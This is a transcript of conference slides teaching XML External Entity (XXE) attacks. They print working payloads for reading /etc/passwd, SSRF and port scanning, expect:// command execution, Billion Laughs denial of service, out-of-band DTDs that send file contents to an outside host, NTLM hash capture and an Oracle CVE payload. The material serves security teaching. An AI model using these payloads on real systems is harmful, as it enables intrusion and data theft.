SlideShare una empresa de Scribd logo
1 de 63
XXE: How to
become a Jedi
Yaroslav Babin
• @yarbabin
• Web Security Warrior @ Positive Technologies
• BugBounty, CTF @ Antichat (а лучше бы рисечил)
• JBFC
WHOAMI
• Script Kiddie
• Master
• Jedi
Levels
Script Kiddie
<?xml version="1.0"?>
<!DOCTYPE name [<!ELEMENT name ANY>]>
<name>ZeroNights</name>
• RSS, Configs
• SOAP
• SVG, XMP
• XMPP
XML Basics
<?xml version="1.0"?>
<!DOCTYPE name [<!ELEMENT name
ANY>]>
<name>ZeroNights</name>
Prolog
Document Type Definition
Document
XML Basics
<?xml version="1.0"?>
<!DOCTYPE name [<!ELEMENT name
ANY>]>
<name>ZeroNights</name>
Hello, ZeroNights
XML Basics
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol “ZeroNights”>]>
<name>&lol;</name>
Hello, ZeroNights
Document Type Definition: Entity
lol = “ZeroNights”
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]>
<name>&lol;</name>
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Document Type Definition: External Entity
lol = readfile(“file:///etc/passwd”)
• DNS/HTTP
• Parser errors
• Very large files
• /dev/urandom
• /dev/zero
How To Check?
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY lol SYSTEM “http://dns.sniff/chk”>]>
<name>&lol;</name>
Hello, 123
DNS/HTTP
lol = readfile(“http://dns.sniff/chk”)
$ cat chk
123
1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET
/chk HTTP/1.1" 200 3 "-"
$ cat /var/log/apache2/access.log
<?xml version="1.0"?>
<!DOCTYPE name SYSTEM “http://dns.sniff/chk”>
<name>1</name>
1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET
/chk HTTP/1.1" 200 3 "-"
DNS/HTTP
lol = readfile(“http://dns.sniff/chk”)
$ cat /var/log/apache2/access.log
<?xml version="1.0"?>
<!DOCTYPE name SYSTEM “http://no.resolve/”>
<name>1</name>
JAXBException occurred: Connection Timeout
Parser Errors
Non resolving host
Response
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]>
<name>&lol;</name>
Large Files
lol = readfile(“file:///deb/urandom”)
Pinging 192.168.0.1 with 32 bytes of data:
Request time out.
C:>ping 192.168.0.1
¯_(ツ)_/¯
Master
• Arbitrary file reading
• Sometimes directory listing
• SSRF
• Port scanning
• SMB
• Wrappers
• DOS
• Billion Laughs Attack
• Large file
Attack vectors
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]>
<name>&lol;</name>
Arbitrary File Reading
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lol = readfile(“file:///etc/passwd”)
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///”>]>
<name>&lol;</name>
Directory Listing (Java)
Hello, bin
boot
dev
etc
lol = readfile(“file:///”)
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY lol SYSTEM “ftp://localhost/1.txt”> ]>
<name>&lol;</name>
Directory Listing (Java)
Hello, file_content
• https://
• ftps://
• gopher://
• etc
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “http://localhost:81”>]>
<name>&lol;</name>
Port Scanning
Hello, INTERNAL WEB SERVER
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “smb_shareC$1.txt”>]>
<name>&lol;</name>
Windows Share
Hello, file_content
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY lol SYSTEM “php://filter/convert.base64-
encode/resource=/etc/passwd”> ]>
<name>&lol;</name>
Wrappers
Hello,
cm9vdDp4OjA6MDpyb290Oi9yb290Oi
9iaW4vYmFzaApkYWVtb246eDoxOjE6Z
GFlbW9uOi91c3Iv…
• data://
• phar://
• rar://
• etc
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY lol SYSTEM “expect://id”> ]>
<name>&lol;</name>
Wrappers (RCE)
Hello, uid=0(root) gid=0(root) groups=0(root)
By default off
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]>
<name>&lol;</name>
DOS (Large File)
lol = readfile(“file:///deb/urandom”)
Pinging 192.168.0.1 with 32 bytes of data:
Request time out.
C:>ping 192.168.0.1
¯_(ツ)_/¯
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY a0 “lol" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
...
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> ]>
<data>&a10;</data>
DOS (Billion Laughs Attack)
• Direct output
• Output in response
• Error-based
• DTD structure
• XML schema validation
• Out-of-band
• NO output required
• Blind-based
• XSD values bruteforce
Exploitation Techniques
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]>
<name>&lol;</name>
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Direct Output
lol = readfile(“file:///etc/passwd”)
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]>
<r>&exfil;</r>
Out-Of-Band
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM
'http://1.3.3.7/?%data;'>">
data = readfile(“/etc/passwd”)
192.168.0.1 - -
[17/Nov/2017:13:37:00
+0300] “GET /?
root:x:0:0:root:/root:/bin
/bash
<?xml version="1.0" ?>
<!DOCTYPE r [ <!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]>
Error Based
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM
'http%data;://1.3.3.7/;'>">
data = readfile(“/etc/passwd”)
• Quotes
• Well-Formed Documents (< > &)
• Privileges
Constraints
• OOXML (DOCX, XLSX, PPTX), ODF, PDF, RSS
• SVG, XMP
• WebDAV, XMLRPC, SOAP, XMPP, SAML
• Databases
• etc
XML
4ML ARMLL BiblioML CIDX eBIS-XML HTTP-DRP MatML ODRL PrintTalk SHOE UML XML F AML ARMLL BCXML xCIL ECML HumanML
MathML OeBPS ProductionML SIF UBL XML Key AML ASMLL BEEP CLT eCo HyTime MBAM OFX PSL SMML UCLP XMLife AML ASMLL
BGML CNRP EcoKnow IML MISML OIL PSI SMBXML UDDI XML MP AML ASTM BHTML ComicsML edaXML ICML MCF OIM QML SMDL
UDEF XML News AML ATMLL BIBLIOML Covad xLink EMSA IDE MDDL OLifE QAML SDML UIML XML RPC AML ATMLL BIOML CPL eosML
IDML MDSI-XML OML QuickData SMIL ULF XML Schema ABML ATMLL BIPS CP eXchangeESML IDWG Metarule ONIX DTD RBAC SOAP
UMLS XML Sign ABML ATMLL BizCodes CSS ETD-ML IEEE DTD MFDX OOPML RDDl SODL UPnP XML Query ACML AWMLL BLM XML
CVML FieldML IFX MIX OPML RDF SOX URI/URL XML P7C ACML AXMLL BPML CWMI FINML IMPP MMLL OpenMath RDL SPML UXF
XML TP ACAP AXMLL BRML CycML FITS IMS Global MML Office XML RecipeML SpeechML VML XMLVoc ACS X12 AXMLL BSML DML
FIXML InTML MML OPML RELAX SSML vCalendar XML XCI ADML AXMLL CML DAML FLBC IOTP MML OPX RELAX NG STML vCard XAML
AECM BMLL xCML DaliML FLOWML IRML MoDL OSD REXML STEP VCML XACML AFML BMLL CaXML DaqXML FPML IXML MOS OTA
REPML STEPML VHG XBL AGML BMLL CaseXML DAS FSML IXRetail MPML PML ResumeXML SVG VIML XSBEL AHML BMLL xCBL DASL
GML JabberXML MPXML PML RETML SWAP VISA XML XBN AIML BMLL CBML DCMI GML JDF MRML PML RFML SWMS VMML XBRL
AIML BMLL CDA DOI GML JDox MSAML PML RightsLang SyncML VocML XCFF AIF BannerrMLLCDF DeltaV GXML JECMM MTML PML
RIXML TML VoiceXML XCES AL3 BCXMLL CDISC DIG35 GAME JLife MTML PML RoadmOPS TML VRML Xchart ANML BEEP CELLML DLML
GBXML JSML MusicXML PML RosettaNet PIPTML WAP Xdelta ANNOTEABGMLL ChessGML DMML GDML JSML NAML PML RSS TalkML
WDDX XDF ANATML BHTMLL ChordML DocBook GEML JScoreML xNAL P3P RuleML TaxML WebML XForms APML
BIIBLLIIOMLLChordQL DocScope GEDML KBML NAA Ads PDML SML TDL WebDAV XGF APPML BIIOMLL CIM DoD XML GEN LACITO
Navy DTD PDX SML TDML WellML XGL AQL BIIPS CIML DPRL GeoLang LandXML NewsML PEF XML SML TEI WeldingXMXLGMML APPEL
BiizzCodess CIDS DRI GIML LEDES NML PetroML SML ThML Wf-XML XHTML ARML BLLM XMLL CIDX DSML GXD LegalXML NISO DTB
PGML SAML TIM WIDL XIOP ARML BPMLL xCIL DSD GXL Life Data NITF PhysicsML SABLE TIM WITSML XLF ASML BRMLL CLT DXS Hy
XM LitML NLMXML PICS SAE J2008 TMML WorldOS XLIFF ASML BSMLL CNRP EML HITIS LMML NVML PMML SBML TMX WSML XLink
ASTM BBCXXMLL ComicsML EML HR-XML LogML OAGIS PNML Schemtron TP WSIA XMI ARML BBEEEEPP CIM DLML HRMML LogML
OBI PNML SDML TPAML XML XMSG ARML BBGMLL CIML EAD HTML LTSC XML OCF PNG SearchDM-XMLTREX XML CourtXMTP ASML
BBHTTMLL CIDS ebXML HTTPL MAML ODF PrintML SGML TxLife XML EDI XNS
XML
• zip://your_doc.docx:
• docProps/
• word/
• _rels/
• [Content_Types].xml
OOXML (Microsoft Office)
• zip://your_odt.odt:
• META-INF/
• content.xml
• meta.xml
• mimetype
• settings.xml
• styles.xml
OpenOffice
Adobe’s Extensible Metadata Platform (XMP) is a file labeling
technology that lets you embed metadata into files themselves during
the content creation process.
Adobe XMP
V for Vendetta, X for XML
<?xpacket begin="?" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core
5.4-c002 1.000000, 0000/00/00-00:00:00">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
Adobe XMP
> select xmlparse(document '<?xml version="1.0"
standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM
"/etc/passwd">]><content>&abc;</content>');
ERROR: invalid XML document
DETAILS: /etc/passwd:28: parser error : StartTag: invalid element name
root:x:0:0:root:/root:/bin/bash
XML Parsers In Databases (PostgreSQL)
> select extractvalue(xmltype('<?xml
version="1.0" encoding="
UTF-8"?><!DOCTYPE root [ <!ENTITY
% remote SYSTEM "
ftp://'||user||':bar@IP/test">
%remote; %param1;]>'),'/l') from
dual;
XML Parsers In Databases (Oracle, CVE-2014-6577)
> USER SYSTEM
331 Password required for system
PASS ***
$ ruby ftp.rb
POST /api HTTP/1.1
Host: api.host
Content-Type: application/json
{“name”:”ZeroNights”}
JSON Parser
Hello, ZeroNights
POST /api HTTP/1.1
Host: api.host
Content-Type: application/xml
<name>ZeroNights</name>
JSON Parser
Hello, ZeroNights
Jedi
msf > use auxillary/server/capture/http_ntlm
[*] Local IP: http://1.3.3.7/capture
[*] Server started.
Pass The Hash
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “http://1.3.3.7/capture”>]>
<name>&lol;</name>
Pass The Hash
Pass The Hash
• No direct output, no errors
• DNS request works
• HTTP via 80 port not working
• It's not exploitable
Firewall
• No direct output, no errors
• DNS request works
• HTTP via 80 port not working
• It's not exploitable
• Try to use another port
Firewall
f*ck off (:
<?xml version="1.0“ encoding=“UTF-8” standalone=“no”?>
Prolog: Optional Attributes
• When yes: ignore declarations (only validation)
• By default: no
<?xml version="1.0“ encoding=“UTF-8” standalone=“no”?>
Prolog: Optional Attributes And Encodings
• UTF-16LE, UTF-16BE
• UTF-7
• etc
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE x +AFsAPAAh-ENTITY
z SYSTEM +ACI-
/etc/passwd+ACIAPgBdAD4APA-
x+AD4AJg-z+ADsAPA-/x+AD4
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol PUBLIC “lol” “file:///etc/passwd”>]>
<name>&lol;</name>
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
PUBLIC “same” the SYSTEM
lol = readfile(“file:///etc/passwd”)
Any text
• <tag xsi:schemaLocation=“…”/>
• <tag xsi:noNamespaceSchemaLoca8on=“…”/>
• <xs:include schemaLocation=“…”>
• <xs:import schemaLocation=“…”>
• <?xml-stylesheet href=“…”?>
Other Parsers
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://1.3.3.7/a.xml">
%remote; %intern; %trick; ]>
Java Problems (<1.7)
<!ENTITY % payl SYSTEM "/">
<!ENTITY % intern "<!ENTITY
&#37; trick SYSTEM
'http://1.3.3.7/?%payl;'>">
1.3.3.7 - - [17/Nov/2017:13:37:00
+0300] “GET
/?bin%0Aboot%0Adev%0Aetc…
$ cat /var/log/apache2/access.log
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://1.3.3.7/a.xml">
%remote; %intern; %trick; ]>
Java Problems (>=1.7)
<!ENTITY % payl SYSTEM "/">
<!ENTITY % intern "<!ENTITY
&#37; trick SYSTEM
'http://1.3.3.7/?%payl;'>">
java.net.MalformedURLException:
Illegal character in URL
Response
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://1.3.3.7/a.xml">
%remote; %intern; %trick; ]>
Java Problems (From 1.7 To 1.8.131)
<!ENTITY % payl SYSTEM "/">
<!ENTITY % intern "<!ENTITY
&#37; trick SYSTEM
‘ftp://1.3.3.7/%payl;'>">
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD bin
…
$ ruby ftp.rb
• Java
• Xerces, Crimson, Piccolo
• PHP
• SimpleXML, XMLReader, DOMDocument (LibXML)
• Perl
• Twig, LibXml
• .NET
• XmlReader, XmlDocument
• Python
• Etree, xml.sax, pulldom, lxml
• Ruby
• REXML, Nokogiri
Parsers
• XXE, Burp Suite plugin
• XXE Internet Explorer
• XXE Yandex
• XXE JSON
Examples
XXE Yandex
XXE Yandex
JSON2XML
JSON2XML
JSON2XML
• https://github.com/BuffaloWill/oxml_xxe
• https://github.com/GDSSecurity/xxe-recursive-download
Tools
• @a66at
• @mohemiv
• @okiok
• https://phonexicum.github.io/infosec/xxe.html
• http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html
• http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
• https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
• https://www.sans.org/reading-room/whitepapers/application/hands-on-xml-external-entity-
vulnerability-training-module-34397
• http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report
• https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/
References & Thx
Questions?
@yarbabin
ybabin@ptsecurity.com

Más contenido relacionado

La actualidad más candente

Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterMasato Kinugawa
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsMikhail Egorov
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesChristopher Frohoff
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodologybugcrowd
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassJava Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassCODE WHITE GmbH
 
HTML/CSS Crash Course (april 4 2017)
HTML/CSS Crash Course (april 4 2017)HTML/CSS Crash Course (april 4 2017)
HTML/CSS Crash Course (april 4 2017)Daniel Friedman
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim HegazyHackIT Ukraine
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016Frans Rosén
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsneexemil
 
Heap exploitation
Heap exploitationHeap exploitation
Heap exploitationAngel Boy
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0Cyber Security Alliance
 
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitBlack Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitPaula Januszkiewicz
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
 
Sling models by Justin Edelson
Sling models by Justin Edelson Sling models by Justin Edelson
Sling models by Justin Edelson AEM HUB
 
Node.js File system & Streams
Node.js File system & StreamsNode.js File system & Streams
Node.js File system & StreamsEyal Vardi
 

La actualidad más candente (20)

Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS FilterX-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
 
OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling Pickles
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
Java Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug ClassJava Deserialization Vulnerabilities - The Forgotten Bug Class
Java Deserialization Vulnerabilities - The Forgotten Bug Class
 
HTML/CSS Crash Course (april 4 2017)
HTML/CSS Crash Course (april 4 2017)HTML/CSS Crash Course (april 4 2017)
HTML/CSS Crash Course (april 4 2017)
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versions
 
Heap exploitation
Heap exploitationHeap exploitation
Heap exploitation
 
VolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSPVolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSP
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0
 
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitBlack Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
Sling models by Justin Edelson
Sling models by Justin Edelson Sling models by Justin Edelson
Sling models by Justin Edelson
 
Node.js File system & Streams
Node.js File system & StreamsNode.js File system & Streams
Node.js File system & Streams
 

Destacado

Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataillefelixaime
 
Crafting tailored wordlists with Wordsmith
Crafting tailored wordlists with WordsmithCrafting tailored wordlists with Wordsmith
Crafting tailored wordlists with WordsmithSanjiv Kawa
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithSanjiv Kawa
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithSanjiv Kawa
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIMikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalPacSecJP
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017Carol Smith
 

Destacado (9)

Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille
 
Crafting tailored wordlists with Wordsmith
Crafting tailored wordlists with WordsmithCrafting tailored wordlists with Wordsmith
Crafting tailored wordlists with Wordsmith
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST API
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-final
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
 

Similar a XXE: How to become a Jedi

XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...Marco Gralike
 
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...Amazon Web Services
 
XML Tools for Perl
XML Tools for PerlXML Tools for Perl
XML Tools for PerlGeir Aalberg
 
Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02Ramamohan Chokkam
 
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office HoursIVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office HoursAmazon Web Services Japan
 
Douglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation JsonsagaDouglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation JsonsagaAjax Experience 2009
 
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1
OPP2010 (Brussels) - Programming with XML in PL/SQL - Part 1Marco Gralike
 
Jsonsaga
JsonsagaJsonsaga
